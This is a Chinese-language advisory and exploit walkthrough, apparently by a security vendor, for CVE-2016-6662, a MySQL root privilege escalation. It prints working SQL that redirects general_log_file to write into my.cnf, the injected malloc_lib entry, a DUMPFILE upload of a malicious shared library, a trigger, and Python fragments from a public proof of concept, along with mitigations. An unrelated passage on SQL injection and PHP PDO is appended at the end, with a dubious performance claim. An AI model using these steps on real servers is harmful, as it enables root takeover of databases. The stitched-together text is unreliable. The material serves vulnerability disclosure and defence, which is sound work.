2016年9月12日, legalhackers.com網站發布了編號為CVE-2016-6662的0day漏洞公告 。由於該漏洞可以獲得MySQL服務器的Root權限,且影響MySql5.5、5.6、5.7乃至最新版本,高級威脅預警通告,這意味着該漏洞影響范圍比較廣,危害嚴重,利用難度較低,綠盟科技將在7*24小時內部應急跟蹤,24小時內完成技術分析、產品升級和防護方案。
該漏洞可以允許攻擊者遠程向MySQL配置文件(my.cnf)注入惡意的環境配置,從而導致嚴重后果。該漏洞將影響以默認方式進行配置的所有版本的MySQL服務器,涵蓋5.7、5.6和5.5,包括最新版本。此外,包括MariaDB和PerconaDB在內的MySQL分支也在影響范圍內。攻擊者既可以通過本地方式,也可以通過遠程方式進行漏洞利用。
Mysql (5.7, 5.6, 和 5.5版本)的所有默認安裝配置,包括最新的版本,攻擊者可以遠程和本地利用該漏洞。該漏洞需要認證訪問MYSQL數據庫(通過網絡連接或者像phpMyAdmin的web接口),以及通過SQL注入利用。攻擊者成功利用該漏洞可以以ROOT權限執行代碼,完全控制服務器。
利用條件:首先你要有一個Mysql低權限用戶,僅需有FIle權限(例如:虛擬主機通常會提供,因為需要導入導出文件),即可實現Root權限提升,進而控制服務器。
----------------------------------
Oracle官方尚未發布補丁,作為暫時的緩解策略,MySQL用戶應該做到以下兩點:
確保MySQL的配置文件不被MySQL用戶所擁有;
以root用戶身份創建一個虛假my.cnf文件。
MySql 0Day漏洞分析
攻擊者在僅擁有SELECT/FILE的權限下,可以利用此漏洞實現ROOT提權 ,執行任意代碼,進而完全控制MySQL數據庫和服務器。
MySQL的默認安裝包里面包含一個腳本mysqld_safe,它被用來啟動MySQL服務。mysqld_safe腳本是以root權限啟動的,而數據庫守護進程mysqld是用較低權限的mysql用戶啟動的。以Debian系統為例,MySQL默認安裝后mysqld_safe腳本的部分內容如下:
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
我們可以通過使用--malloc-lib=LIB參數在服務加載時,預先加載一個庫文件,這個參數同樣可以通過配置文件my.cnf來設置,設置位置在“[mysqld]”或“[mysqld_safe]”部分。
此漏洞的本質是攻擊者可以通過log函數利用不恰當的權限設置改寫MySQL的配置文件my.cnf,將惡意的庫文件路徑插入到配置文件my.cnf中,從而加載該惡意庫文件,當mysql服務重啟時,就能以root權限執行任意代碼。
向my.cnf文件寫入惡意庫文件的具體實現如下:
(1)執行下述MySQL命令。
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
(2)命令執行后,可以看到my.cnf的文件末尾處,被附加了如下的內容:
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
其中“[mysqld]”中的“malloc_lib”選項是關鍵!當my.cnf配置文件被mysqld_safe腳本加載處理時,mysqld_safe會讀取malloc_lib的共享庫路徑,將其添加到LD_PRELOAD環境變量。mysqld守護進程啟動時,此malloc_lib共享庫可以優先加載執行,攻擊者可以利用這個機會在共享庫中執行任意代碼,並hook一些函數調用,清理被篡改的配置文件,使得mysqld守護進程正常執行,不會崩潰,使得用戶難以察覺。
該本地提權漏洞的完整利用過程如下:
- 攻擊者利用SQL注入或已有的低權限賬號登錄MySQL服務器,可以執行低權限的命令。
- 通過文件上傳或DUMPFILE命令將惡意malloc_lib共享庫文件上傳到目標服務器 。
// 將二進制共享庫文件內容轉化為十六進制形式
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
// 通過DUMPFILE命令寫入目前服務器
SELECT unhex("hookandrootlib_hex") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'
3. 通過設置觸發器,提升用戶權限,為寫入my.cnf文件做准備。
ELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
4. 觸發觸發器,使得惡意配置被寫入my.cnf文件
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
5. 當MySQL重啟時(包括系統更新),就會使得mysqld_safe讀取my.cnf文件,進而加載執行惡意共享庫文件,從而執行任意代碼,由於mysqld_safe默認以root權限執行,所以加載執行的共享庫也擁有root權限,可以用來提權。
MySql 0Day漏洞驗證程序
legalhackers.com網站公布了一個功能受限的POC,代碼如下,它僅能做到以低權限向MySQL數據庫的配置文件添加內容:
1、0ldSQL_MySQL_RCE_exploit.py
2、mysql_hookandroot_lib.c
================================
當你沒有對傳入的參數進行類型轉換的話(int就只能接收int,string要trim),很有可能就被人利用你的這個參數漏洞寫入一個直接就能通過的sql
舉個栗子:你原來的sql是 “SELECT * FROM USERS WHERE id = ”.$id 你對$id沒有處理,那別人就直接傳入一個 id OR 1=1; 這樣一來這個sql就變成了 “SELECT *FROM USERS WHERE id = id OR 1=1”; 這個sql永遠可以執行,而且攻擊者同時能夠獲得你的user信息.
推薦用PDO(PHP data objects)的
官方對PDO的解釋是
PHP 數據對象 (PDO) 擴展為PHP訪問數據庫定義了一個輕量級的一致接口。
PDO 提供了一個數據訪問抽象層,這意味着,不管使用哪種數據庫,都可以用相同的函數(方法)來查詢和獲取數據。
PDO隨PHP5.1發行,在PHP5.0的PECL擴展中也可以使用,無法運行於之前的PHP版本。
PDO擴展為PHP定義了一個訪問數據庫的輕量的,持久的接口。實現了PDO接口的每一種數據庫驅動都能以正則擴展的形式把他們各自的特色表現出來。注意;利用PDO擴展本身並不能實現任何數據庫函數。你必須使用一個特定的數據庫PDO驅動去訪問數據庫。
PDO提供了一個數據訪問抽象層,這就意味着,不管你使用的是哪種數據庫,你都可以用同樣的函數去進行查詢的獲取數據。PDO並不提供數據提取,它不會重寫SQL語句,或者模仿這些功能。你需要使用一個成熟的提取層,如果你需要的話。
1、更換數據庫是去的極大便利
2、極大提高程序運行效率